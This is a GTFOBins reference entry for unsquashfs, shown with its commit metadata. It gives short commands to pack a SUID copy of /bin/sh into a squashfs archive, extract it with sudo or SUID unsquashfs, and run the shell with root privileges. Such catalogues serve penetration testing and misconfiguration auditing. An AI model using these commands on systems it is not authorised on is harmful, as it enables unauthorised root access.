GTFOBins.github.io/_gtfobins/unsquashfs.md
godylockz 07dca76e95
Add unsquashfs
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-09-02 08:29:00 +02:00

497 B

description functions
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh mksquashfs sh shell ``` Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
sudo suid
code
sudo unsquashfs shell ./squashfs-root/sh -p
code
./unsquashfs shell ./squashfs-root/sh -p